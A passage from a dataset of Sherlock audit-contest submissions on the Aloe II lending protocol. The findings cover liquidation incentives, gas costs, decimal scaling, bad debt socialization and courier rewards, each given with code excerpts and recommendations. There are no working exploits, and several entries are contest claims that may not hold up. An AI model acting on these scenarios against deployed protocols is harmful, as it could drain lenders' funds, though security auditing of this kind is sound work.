Uniswap positions per `Borrowing` contract](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/libraries/Positions.sol#L23).\n\nMajority of the gas used during execution of `liquidate` function is due to:\n - Reading prices from UniswapV3 pool\n - Withdrawing liquidity from each position\n - Repay the debt, i.e. transferring tokens.\n\nThe gas usage of the liquidate function can go up to 300k gas or more. \nIf we do the math and consider a scenario of a highly congested network with gas prices of [400 gwei](https://etherscan.io/chart/gasprice), the total gas cost of the liquidator is 300k * 400 gwei which equals `0.12 ether`. \nThis is higher than the `CONSTRAINT_ANTE_MAX` which is `0.1 ether` and would result in liquidators paying instead of getting paid to liquidate.\nThe consequence of this is extended periods of liquidations not happening and risk of bad debt accumulating in the system.\n\n## Impact\n\nPeriods of high volatility are usually accompanied by high gas prices and congested network. This is also the time when liquidations are mostly likely to occur. \n\nDue to `CONSTRAINT_ANTE_MAX` not being enough to cover the gas costs of liquidators in such an environment there is a high risk of bad debt accumulating in the system. \n\n## Code Snippet\n\nhttps://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/libraries/constants/Constants.sol#L77\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIncrease the `CONSTRAINT_ANTE_MAX` to a value that is enough to cover the gas costs of liquidators during periods of extremely high gas prices.\n\n`CONSTRAINT_ANTE_MAX = 0.5 ether` should be sufficient to cover worst case scenarios, \nand ensure that liquidations are profitable at some point during the 24-hour period, since IV calculation is based upon this time window.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//012-M/083.md"}} +{"title":"In some situations the liquidation can become unprofitable for liquidators, keeping unhealthy positions","severity":"medium","body":"Loud Cloud Salamander\n\nmedium\n\n# In some situations the liquidation can become unprofitable for liquidators, keeping unhealthy positions\n## Summary\n\nWhen liquidators liquidate unhealthy accounts and the swap is required, they receive `LIQUIDATION_INCENTIVE` to compensate for the potentially unprofitable swap price required (as the swap price is the pool average price over the `UNISWAP_AVG_WINDOW`, which lags the current price). However, this only happens when swap is required **at the average price**. The assets composition can be different depending on price if the user has uniswap position as a collateral. Such uniswap position can happen (intentionally or not) to be composed in such way, that it has 100% of one asset at the current average price, but 100% of the other asset at the current market price, thus liquidator's incentive will be 0.\n\nIn particular, it can happen in the following situation:\n1. Current price is different from the average price by a reasonable amount (like 1%+)\n2. Uniswap position is such, that it's fully in one asset at the average price and fully in the other asset at the current price\n\nIn this case, there is no swap required at the average price (thus liquidation incentive = 0), however at the current price a swap of all user assets is required from liquidator at the unfavorable average price (which is worse than current price). Since liquidator doesn't receive its bonus in such case, the liquidation will be unprofitable and liquidator won't liquidate user. \n\n\n## Vulnerability Detail\n\nExample scenario of the situation when liquidation is not profitable for the liquidator:\n1. Current ETH price = 1000 USDT. Average price over the last 30 minutes = 1010 USDT\n2. Alice position is 1 ETH in the range [1000, 1006]. Alice debt is 9990 USDT. Alice account in not healthy.\n3. Bob wants to liquidate Alice account. Since at the average price of 1010 USDT Alice position composition is 0 ETH + 1003 USDT, this fully covers Alice debt and liquidation incentive = 0. However, as the liquidation proceeds, at the current price of 1000 USDT Alice's position will be converted into 1 ETH + 0 USDT and Bob will have to exchange 1 ETH into 1010 USDT without any additional bonus.\n3.1. If Bob decides to liquidate Alice account, Alice will have her 1 ETH converted into 1010 USDT, which she can immediately exchange into 1.01 ETH, creating a profit for Alice (and Bob will lose 10 USDT based on the current ETH price)\n3.2. If Bob is being rational and doesn't luiquidate unprofitably, Alice unhealthy position will remain active without being liquidated.\n\n## Impact\n\nIn some cases, liquidation will require swap of assets at unfavorable (lagging average) price without any bonus for the liquidator. Due to this, liquidation will not happen and user account will stay unhealthy, this can continue for extended time, breaking important protocol mechanism (timely liquidation) and possibly causing bad debt for unhealthy account.\n\n## Code Snippet\n\n`BalanceSheet.computeLiquidationIncentive` sets incentive only when `liabilities0 > assets0` or `liabilities1 > assets1` at the average prices:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/BalanceSheet.sol#L125-L149\n\nIn `liquidation` it is called with compositions of uniswap position assets at the average price (C):\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L213-L219\n\nHowever, `_getAssets` withdraws uniswap position at current price, which can be different:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L209\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nQuite hard to come up with good recommendations here, because allowing liquidation incentive at current price opens up different attack vectors to abuse it. Possibly choose max amount required to swap at average price, average price-5% and average price+5% (or some other %) and pay out based on this max (still not on current price to be fair and not force liquidators manipulate pool for max profit) or something like that.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//012-M/043.md"}} +{"title":"Some values, such as `LIQUIDATION_INCENTIVE`, are fixed constants, while the volatility is variable and different between different pools and at different times, making it unprofitable for liquidators to liquidate in certain situations","severity":"medium","body":"Loud Cloud Salamander\n\nmedium\n\n# Some values, such as `LIQUIDATION_INCENTIVE`, are fixed constants, while the volatility is variable and different between different pools and at different times, making it unprofitable for liquidators to liquidate in certain situations\n## Summary\n\nSome of the protocol constants are fixed value constants for all markets at all times. However, since volatility is different in different markets and at different times, there might be situations when high volatility will make it unprofitable for liquidators to liquidate accounts, because the liquidation prices are lagging (as they're averages over somewhat long periods of times). The `LIQUIDATION_INCENTIVE`, for example, which is currently set to 20 (5%), might not be enough to compensate lagging liquidation prices in some cases. This will lead to accounts not being liquidated in time due to liquidations being unprofitable in some situations and large bad debt being generated in the protocol, which can cause bank run and loss of funds for the other protocol users.\n\nSome of the constants which are fixed, but should depend on market/volatility:\n- `LIQUIDATION_INCENTIVE`\n- `UNISWAP_AVG_WINDOW`\n- `LIQUIDATION_GRACE_PERIOD`\n- `MAX_LEVERAGE`\n\n## Vulnerability Detail\n\nWhen account is liquidated and assets swap is required, the liquidator is required to swap account assets at current average pool price over the last `UNISWAP_AVG_WINDOW` (currently 30 minutes) time period plus bonus of the `LIQUIDATION_INCENTIVE` (currently 5%). Additionally, liquidator first has to warn the user and wait for `LIQUIDATION_GRACE_PERIOD` (currently 2 minutes) before liquidating.\n\nThe account health does depend on current volatility. However, once it's determined that the account is not healthy, the liquidation itself happens at that average price over the last 30 minutes, which can be unprofitable for liquidator for very long periods of time. For example, if any token price starts falling steadily for some reason (which has happened multiple times in the past), the average price over the last 30 minutes can stay 5%+ away from current price making liquidations unprofitable until the difference is less than 5% (`LIQUIDATION_INCENTIVE` is not enough to make it profitable for liquidator). Or some highly volatile token might often have periods of strong moves either up or down, causing average price to be more than 5% away from current price and making liquidations unprofitable.\n\nExample scenario of user going into bad debt due to lack of liquidations (due to unprofitable liquidations):\n1. Some token (TKN) starts falling from the price of $100 to $90\n2. Current price is $90, average over the last 30 minutes is $95\n3. Alice account (assets = 1.2 TKN, debt = 95 USDT) becomes unhealthy\n4. Bob tries to liquidate Alice account, however in order to liquidate, he has to swap 1 TKN into 95 USDT (essentially buying 1 TKN for 95 USDT). His liquidation incentive for this is 5% or 95 * 5% = $4.75. This means he has to buy 1 TKN for $90.25, which is not profitable for Bob, so he doesn't liquidate.\n5. The prices keeps falling steadily and all this time Alice account is unhealthy but it's not profitable for Bob to liquidate it.\n6. Finally, the price stabilizes at $70. Alice assets are now worth $84, while the debt is $95, meaning Alice account is in bad debt. Bob liquidates it partially, swapping 1.2 TKN for 79.8 USDT, meaning Alice account is left with 0 assets and 15.2 USDT debt.\n\n## Impact\n\nSome pools/tokens can be highly volatile, or there might happen to be a period of high volatility, which will cause the difference between the liquidation price (average over `UNISWAP_AVG_WINDOW`) and the current price greater than `LIQUIDATION_INCENTIVE`, making it unprofitable for liquidators to liquidate unhealthy positions. This can cause large bad debt, which is a loss of funds for the other protocol users.\n\n## Code Snippet\n\nConstants being just fixed values, which will be the same for all markets and at all times, which is obviously wrong since different pools/tokens have different volatility and should have different values for these.\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/constants/Constants.sol#L83-L92\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider moving the constants mentioned in this report to a market config rather than hard-coding them in the code. It might also be worth making some of them (like `LIQUIDATION_INCENTIVE`) depend on current volatility:\n- `LIQUIDATION_INCENTIVE` - this is the most critical value, which shouldn't be the same across all markets\n- `UNISWAP_AVG_WINDOW` - 30 minutes for averages can be too much for some highly volatile markets\n- `LIQUIDATION_GRACE_PERIOD` - 2 minutes waiting time before starting liquidation can also be too much for some tokens\n- `MAX_LEVERAGE` - max leverage for very volatile tokens should have much lower max leverage, than stable tokens like BTC/ETH, and stablecoins can have higher leverage.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//012-M/034-best.md"}} +{"title":"Users who have shares in vaults with lower decimals receive less rewards","severity":"medium","body":"Dapper Concrete Porcupine\n\nhigh\n\n# Users who have shares in vaults with lower decimals receive less rewards\n## Summary\n\nUsers who hold shares in vaults with fewer tokens receive reduced rewards because each Lender's shares have the same decimal precision as the underlying token.\n\n## Vulnerability Detail\n\nThe protocol implements a reward system that calculates rewards for shareholders based on their staked amount and duration.\n\n```solidity\nuserState.earned += uint112((balance * (accumulated - userState.checkpoint)) / 1e16);\n```\n\nThe issue stems from the decimals of both the vault and the underlying token not being standardized to `1e18`.\n\n```solidity\nfunction _accumulate(PoolState memory poolState) private view returns (uint144) {\n\tunchecked {\n\t\tuint256 deltaT = block.timestamp - poolState.lastUpdated;\n\t\treturn poolState.accumulated + uint144((1e16 * deltaT * poolState.rate) / exp2(poolState.log2TotalSupply));\n\t}\n}\n```\n\nEven though the delta accumulated is multiplied by `1e16`, the `log2TotalSupply` and the `earned` values are in decimals of the underlying token multiplied by `1e16`.\n\n## Impact\n\nUsers participating in vaults with underlying tokens of lower precision will receive significantly reduced rewards, resulting in potential loss of earnings.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/Rewards.sol#L95-L97\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/Rewards.sol#L114-L126\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/Rewards.sol#L140-L145\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider standardizing all reward calculations to `1e18` based on the decimals of the underlying token in each vault using the following formula: `accumulated * (10^18 * (1e18 - token.decimals()))`.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//011-M/148.md"}} +{"title":"When interest is accrued using `_previewInterest()` the token is always scaled to 18 decimal and this leads to miscalculation of interest","severity":"medium","body":"Creamy Glossy Penguin\n\nhigh\n\n# When interest is accrued using `_previewInterest()` the token is always scaled to 18 decimal and this leads to miscalculation of interest\n## Summary\n\nWhen interest is accrued using `_previewInterest()` the token is always scaled to 18 decimal and this leads to miscalculation of interest. This is because different tokens have different decimals.\n## Vulnerability Detail\n\nIn `Ledger.sol` we have `_previewInterest()` function that is used in many places to accrues interest:\n```solidity\nfunction _previewInterest(Cache memory cache) internal view returns (Cache memory, uint256, uint256) {\n        unchecked {\n            // Guard against reentrancy\n            require(cache.lastAccrualTime != 0, \"Aloe: locked\");\n\n            uint256 oldBorrows = (cache.borrowBase * cache.borrowIndex) / BORROWS_SCALER;\n            uint256 oldInventory = cache.lastBalance + oldBorrows;\n\n            if (cache.lastAccrualTime == block.timestamp || oldBorrows == 0) {\n                return (cache, oldInventory, cache.totalSupply);\n            }\n\n            // sload `reserveFactor` and `rateModel` at the same time since they're in the same slot\n            uint8 rf = reserveFactor;\n            uint256 accrualFactor = rateModel.getAccrualFactor({\n                utilization: (1e18 * oldBorrows) / oldInventory, \n                dt: block.timestamp - cache.lastAccrualTime\n            });\n\n            cache.borrowIndex = (cache.borrowIndex * accrualFactor) / ONE;\n            cache.lastAccrualTime = 0; // 0 in storage means locked to reentrancy; 0 in `cache` means `borrowIndex` was updated\n\n \n            uint256 newInventory = cache.lastBalance + (cache.borrowBase * cache.borrowIndex) / BORROWS_SCALER;\n            uint256 newTotalSupply = Math.mulDiv(\n                cache.totalSupply,\n                newInventory,\n                newInventory - (newInventory - oldInventory) / rf\n            );\n            return (cache, newInventory, newTotalSupply);\n        }\n    }\n```\n\nThe function call `getAccrualFactor()` with hardcoded `1e18` value:\n```solidity\n            uint256 accrualFactor = rateModel.getAccrualFactor({\n                utilization: (1e18 * oldBorrows) / oldInventory, \n                dt: block.timestamp - cache.lastAccrualTime\n            });\n```\nWe can see the utilization is scales with `1e18` decimals. But different tokens have different decimals. If a token has fewer than 18 decimals (for example USDT, USDC), the scaled calculation will over-represent its actual value.\n## Impact\n\nWrong value of accrued interest\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Ledger.sol#L352\n## Tool used\n\nManual Review\n\n## Recommendation\n\nYou need to calculate the scaling dynamically based on the token's decimals.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//011-M/139.md"}} +{"title":"Gamma values are not properly scaled","severity":"medium","body":"Itchy Glossy Boa\n\nhigh\n\n# Gamma values are not properly scaled\n## Summary\n\nWrong calculation of gamma affecting wrong computation of pool revenue `computeRevenueGamma`, this means that the computed value may be much lower than it should be, affecting implied volatility on VolatilityOracle update (and its `lastWrites`)\n\n## Vulnerability Detail\n\nThere is a PoolMetadata struct defined as follows:\n\n```solidity\nFile: Volatility.sol\n15: struct PoolMetadata {\n16: // the overall fee minus the protocol fee for token0, times 1e6\n17: uint24 gamma0;\n18: // the overall fee minus the protocol fee for token1, times 1e6\n19: uint24 gamma1;\n20: // the pool tick spacing\n21: int24 tickSpacing;\n22: }\n```\n\nAccording to the struct comments, `gamma0` and `gamma1` represent the difference between the pool fee and the protocol fee, scaled by 1e6. These `gamma` values are crucial for computing pool revenue in the `computeRevenueGamma` function. Specifically, this function is invoked through a series of steps: `VolatilityOracle.update -> Volatility.estimate -> Volatility.computeRevenueGamma`.\n\nThe `gamma` values are obtained and utilized exclusively within the `_getPoolMetadata` function, which is called from the `prepare()` function in `VolatilityOracle`. Here's how it is implemented:\n\n```solidity\nFile: VolatilityOracle.sol\n101: function _getPoolMetadata(IUniswapV3Pool pool) private view returns (Volatility.PoolMetadata memory metadata) {\n102: (, , uint16 observationIndex, uint16 observationCardinality, , uint8 feeProtocol, ) = pool.slot0();\n...\n111: uint24 fee = pool.fee();\n112: metadata.gamma0 = fee;\n113: metadata.gamma1 = fee;\n114: unchecked {\n115: if (feeProtocol % 16 != 0) metadata.gamma0 -= fee / (feeProtocol % 16);\n116: if (feeProtocol >> 4 != 0) metadata.gamma1 -= fee / (feeProtocol >> 4);\n117: }\n...\n120: }\n```\n\nHere, it's clear that `gamma0` and `gamma1` are derived from the pool fee (Lines 111-113) after subtracting the protocol fee (Lines 115-116). However, there's an important aspect missing: the multiplication by `1e6`. \n\nIf we examine the `computeRevenueGamma` function, we observe that it operates on the assumption of a scale factor of `1e6` in its division operation. This discrepancy implies that the result from `computeRevenueGamma` may be understated due to the lack of the `1e6` multiplier in the calculation of `gamma`. This adjustment is crucial to align with the scale specified in the struct's comment and the `1e6` scale factor used in the division operation within `computeRevenueGamma`.\n\n```solidity\nFile: Volatility.sol\n103: function computeRevenueGamma(\n104: uint256 feeGrowthGlobalAX128,\n105: uint256 feeGrowthGlobalBX128,\n106: uint160 secondsPerLiquidityX128,\n107: uint32 secondsAgo,\n108: uint24 gamma\n109: ) internal pure returns (uint256) {\n110: unchecked {\n111: uint256 delta;\n112:\n113: if (feeGrowthGlobalBX128 >= feeGrowthGlobalAX128) {\n114: // feeGrowthGlobal has increased from time A to time B\n115: delta = feeGrowthGlobalBX128 - feeGrowthGlobalAX128;\n116: } else {\n117: // feeGrowthGlobal has overflowed between time A and time B\n118: delta = type(uint256).max - feeGrowthGlobalAX128 + feeGrowthGlobalBX128;\n119: }\n120:\n121: return Math.mulDiv(delta, secondsAgo * uint256(gamma), secondsPerLiquidityX128 * uint256(1e6));\n122: }\n123: }\n```\n\n## Impact\n\nthe computed value in `computeRevenueGamma` may be much lower than it should be due to huge scale difference\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/VolatilityOracle.sol#L112-L117\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nto ensure correct calculations, gamma should be multiplied by 1e6 when computing it in `_getPoolMetadata`. This will ensure that the subsequent calculations in computeRevenueGamma are performed with the correct scale.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//011-M/137-best.md"}} +{"title":"bad debt is not socialized","severity":"medium","body":"Bent Orchid Barbel\n\nmedium\n\n# bad debt is not socialized\n## Summary\nBecause bad debt is not socialized, last lenders will take all of them.\n## Vulnerability Detail\nIn case if borrower position is unhealthy, then he can be liquidated. Protocol tries to predict when this will happen and do liquidations before bad debt has occured(position is insolvent). However it is still possible that prices will change very quickly in such way that bad debt will occur.\n\nIn this case only part of debt will be repaid to lenders. Let's check what that means.\n\nWhen user calls `redeem`, then [`_convertToAssets` is called](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L189) to calculate amount that user can receive for his shares. It uses `inventory` and `totalSupply` to calculate it. Inventory is balance of contract + all borrowed amount + fees. So contract expects that all borrowed amount + fees will be repaid.\n\nSo in case if bad debt occurs it means that part of borrowed amount and fees will not be received back by Lender contract, however contract still calculates assets using outdated data.\n\nAs result this bad debt will create contract insolvency, which means that contract will not have enough balance to pay last redeemers.\n## Impact\nBad debt is not distributed among all lenders\n## Code Snippet\nProvided above\n## Tool used\n\nManual Review\n\n## Recommendation\nYou should track when position is closed with bad debt and then notify Lender contract that borrower will not be able to return part of funds. This shoud decrease borrowed amount, which will decrease share price and thus distribute that debt among all lenders.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//010-M/068.md"}} +{"title":"No Bad Debt Socialization","severity":"medium","body":"Warm Orange Dragon\n\nmedium\n\n# No Bad Debt Socialization\n## Summary\n\nThere is no bad debt socialization in Aloe leading to a race to withdraw if there is a large insolvency.\n\n## Vulnerability Detail\n\nThe balances of a vault are stored in state variables that are unaffected by the the `balanceOf` the vault and the borrowers. This works as long as there is no bad debt in the system. It assumes that the underlying balance will always be repaid:\n\n```solidity\n /**\n * @notice The amount of `asset` owed to `account` after accruing the latest interest, i.e.\n * the value that `maxWithdraw` would return if outstanding borrows weren't a constraint.\n * Fees owed to couriers are automatically subtracted from this value in real-time, but couriers\n * themselves won't receive earnings until users `redeem` or `withdraw`.\n * @dev Because of the fees, ∑underlyingBalances != totalAssets\n */\n function underlyingBalance(address account) external view returns (uint256) {\n (, uint256 inventory, uint256 newTotalSupply) = _previewInterest(_getCache());\n return _convertToAssets(_nominalShares(account, inventory, newTotalSupply), inventory, newTotalSupply, false);\n }\n```\nAs shown both in the code and the code comments, the balance accounting used is similar to one used for an ERC4626 vault that accrues interest. This assumes that there will never be a case for assets in the vault to be permanently lost.\n\n\nIf a bad debt event occurs, the accounting still assumes that there will ultimately be enough assets to eventually repay borrowers. This means that when bad debt occurs this creates a race condition. Lenders are incentivised to un-stake early to get their full share of their deposit back, and there would be no ability to pay out later withdrawers.\n\nAs demonstrated in other submissions, bad debt events are a possible occurrence.\n\n## Impact\n\n- If bad debt is created in the system, it is not socialized, where early withdrawers get their full deposit + interest/rewards back, while there is not enough funds to pay out later withdrawers.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Ledger.sol#L193-L210\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nWhen a position that has not been liquidated and is insolvent, or a liquidation itself causes bad debt, this debt should be socialized and accounted for. This should be deducted from the underlying balance of the shares in the vault.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//010-M/047.md"}} +{"title":"Large bad debt can cause bank run since there is no loss socialization mechanism","severity":"medium","body":"Loud Cloud Salamander\n\nhigh\n\n# Large bad debt can cause bank run since there is no loss socialization mechanism\n## Summary\n\nWhen a large bad debt happens in the system, it is \"stuck\" in the system forever with no incentive to cover it. User, whose account goes into bad debt has no incentive to add funds to it, he will simply use a new account. And the other users also don't have any incentive to repay bad debt for such user.\n\nThis means that the other users will never be unable to withdraw all funds due to this bad debt. This can cause a bank run, since the first users will be able to withdraw, but the last users to withdraw will be unable to do so (will lose funds), because protocol won't have enough funds to return them since this bad debt will remain unreturned infinitively and will, in fact, keep accumulating even more bad debt.\n\n## Vulnerability Detail\n\nIf some users takes a huge borrow and later there is a quick price drop, which will cause user's account to fall into a large bad debt, there will be no incentive for the liquidators to fully liquidate user, because the assets he has won't be enough to compensate the liquidator, meaning partial liquidations will bring user to a state with 0 assets but still with borrowed assets (bad debt).\n\nSince there is no incentive from any users to repay these assets, this borrow will remain in the system forever, meaning this is basically a loss of funds for the other users. If this accumulated bad debt is large enough, the users will notice this and might start a bank run, because the users who withdraw first will be able to do so, but those who try to withdraw later will be unable to do so, because the protocol won't have funds, only the \"borrowed\" amounts which will never be returned due to bad debt (those accounts only having borrow/debt without any assets).\n\n## Impact\n\nBad debt accumulation can lead to a bank run from the users with the last users to withdraw losing all their funds without any ability to recover it.\n\n## Code Snippet\n\n`Borrower.liquidate` doesn't care about bad debt, leaving it up to liquidators to choose correct `strain` amount to only get all assets the user has after liquidation, so that it doesn't revert:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L257-L277\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider introducing bad debt socialization mechanism like the other lending platforms (bad debt will then reduce the `borrowIndex`, thus socializing the loss between all lenders). It will also help clear borrow balance from bad debt accounts, preventing it to further accumulate even more bad debt.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//010-M/032-best.md"}} +{"title":"`enrollCourier` lack of share check open for user owning share to loss their reward","severity":"medium","body":"Itchy Glossy Boa\n\nmedium\n\n# `enrollCourier` lack of share check open for user owning share to loss their reward\n## Summary\n\nUser's reward may lost due to change status from a regular user (or address) to courier \n\n## Vulnerability Detail\n\nby design, couriers cannot claim rewards due to accounting issue, as described in the following function:\n\n```js\nFile: Factory.sol\n228: function claimRewards(Lender[] calldata lenders, address beneficiary) external returns (uint256 earned) {\n229: // Couriers cannot claim rewards because the accounting isn't quite correct for them. Specifically, we\n230: // save gas by omitting a `Rewards.updateUserState` call for the courier in `Lender._burn`\n231: require(!isCourier[msg.sender]);\n232: \n233: unchecked {\n234: uint256 count = lenders.length;\n235: for (uint256 i = 0; i < count; i++) {\n236: // Make sure it is, in fact, a `Lender`\n237: require(peer[address(lenders[i])] != address(0));\n238: earned += lenders[i].claimRewards(msg.sender);\n239: }\n240: }\n241: \n242: rewardsToken.safeTransfer(beneficiary, earned);\n243: }\n```\n\nbut in reality, there is open for possibility for a user (or address) who holds shares at somepoint intend to be a couriers. Noted that when they become a courier they can't claim rewards due to accounting issue. But, since they holds a share, before enrolling as Courier, they need be a way to ensure they already claim their rewards. This may seems like a user's mistakes not 'claimRewards' before \n\n```js\nFile: Factory.sol\n254: function enrollCourier(uint32 id, uint16 cut) external {\n255: // Requirements:\n256: // - `id != 0` because 0 is reserved as the no-courier case\n257: // - `cut != 0 && cut < 10_000` just means between 0 and 100%\n258: require(id != 0 && cut != 0 && cut < 10_000);\n259: // Once an `id` has been enrolled, its info can't be changed\n260: require(couriers[id].cut == 0);\n261: \n262: couriers[id] = Courier(msg.sender, cut);\n263: isCourier[msg.sender] = true;\n264: \n265: emit EnrollCourier(id, msg.sender, cut);\n266: }\n```\n\nIn short, when performing `enrollCourier`, the function need to check whether the proposed address holds some shares, if yes, then need to return their reward first before finally assign them as Courier.\n\n## Impact\n\nUser's reward may lost due to change status from a regular user (or address) to courier \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L254-L266\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd a check on `enrollCourier` if they have shares, they reward need to be distributed first before changing their status to be a courier\n\n```js\nFile: Factory.sol\n254: function enrollCourier(uint32 id, uint16 cut) external {\n\n++ // check if they have shares\n++ // claim their reward\n\n255: // Requirements:\n256: // - `id != 0` because 0 is reserved as the no-courier case\n257: // - `cut != 0 && cut < 10_000` just means between 0 and 100%\n258: require(id != 0 && cut != 0 && cut < 10_000);\n259: // Once an `id` has been enrolled, its info can't be changed\n260: require(couriers[id].cut == 0);\n261: \n262: couriers[id] = Courier(msg.sender, cut);\n263: isCourier[msg.sender] = true;\n264: \n265: emit EnrollCourier(id, msg.sender, cut);\n266: }\n```","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//009-M/151.md"}} +{"title":"Users may lose rewards accrued before enrolling as courier","severity":"medium","body":"Tricky Heather Swallow\n\nmedium\n\n# Users may lose rewards accrued before enrolling as courier\n## Summary\n\nUsers who had rewards before enrolling as a courier will lose those rewards because they are not claimed before setting the user as a courier.\n\n## Vulnerability Detail\n\nAfter enrolling as a courier, a user will no longer be able to call the `claimRewards` function in `Factory.sol` due to the function reverting if the sender is a courier.\n\n```solidity\nrequire(!isCourier[msg.sender]);\n```\n\nThe docs on [line 247](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L247) states that the user will not be eligible for rewards after enrolling. Users may expect that the rewards accrued up to the point of enrollment are still claimable and unknowingly lock themselves out of claiming their past rewards.\n\n## Impact\n\nA user may lose rewards accumulated up to the point of becoming a courier if they do not claim beforehand. Since the `claimRewards` function on `Lender.sol` may only be called by the factory, the user will have no way to claim their previous rewards.\n\n## Code Snippet\n\n[Factory.sol#L254-L266](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L254-L266)\n\n[Factory.sol#L228-L243](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L228-L243)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding claiming functionality to the `enrollCourier` function that would allow the user to claim from an array of lenders supplied by the user.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//009-M/134-best.md"}} +{"title":"Fees unclaimed by a soon-to-be courier will become stuck","severity":"medium","body":"Dapper Concrete Porcupine\n\nhigh\n\n# Fees unclaimed by a soon-to-be courier will become stuck\n## Summary\n\nUnclaimed rewards of users, who become couriers will get permanently stuck\n\n## Vulnerability Detail\n\nUsers can become couriers by invoking `enrollCourier()` and earn a percentage of shares from referred users.\n\nThe problem stems from these users' fees not being explicitly claimed upon becoming couriers. If a user has unclaimed fees and becomes a courier, those fees will become permanently locked since couriers are not permitted to claim rewards.\n\n```solidity\nfunction claimRewards(Lender[] calldata lenders, address beneficiary) external returns (uint256 earned) {\n\trequire(!isCourier[msg.sender]);\n\t\n\t// ... \n}\n```\n\n## Impact\n\nUnclaimed fees of users who become couriers will get permanently stuck.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L231\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L254-L266\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider explicitly claiming their fees before making them a courier.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//009-M/118.md"}} +{"title":"Liquidation process is flawed. missing incentive to call warn","severity":"medium","body":"Oblong Lava Pig\n\nmedium\n\n# Liquidation process is flawed. missing incentive to call warn\n## Summary\n\nAloe´s Liquidation process s flawed in the way, that there is no incentive for Liquidators to call the warn function, which is required before liquidations. \n\n## Vulnerability Detail\n\nThe Aloe protocol has a Liquidation process, which involves a grace period for the Borrower.\nThis means, there is a `warn` function, that has to be called, that is setting a `unleashLiquidationTime`. A Liquidation can only be executed when this time is reached.\n\nProblem is, there is no incentive for anyone to call the `warn` function. Only the actual `liquidate` function is inventiviced by giving a 5% incentive in Tokens, if there is a swap required, and always giving a small amount of ETH (ANTE) to cover the gas cost.\n\nA Liquidator that calls the warn function has no guarantee, that he is the one, that actually can call liquidate, when the time has come. Therefore it would be a waste of Gas to call the warn function.\n\nThis might result in a situation where nobody is willing to call `warn`, and 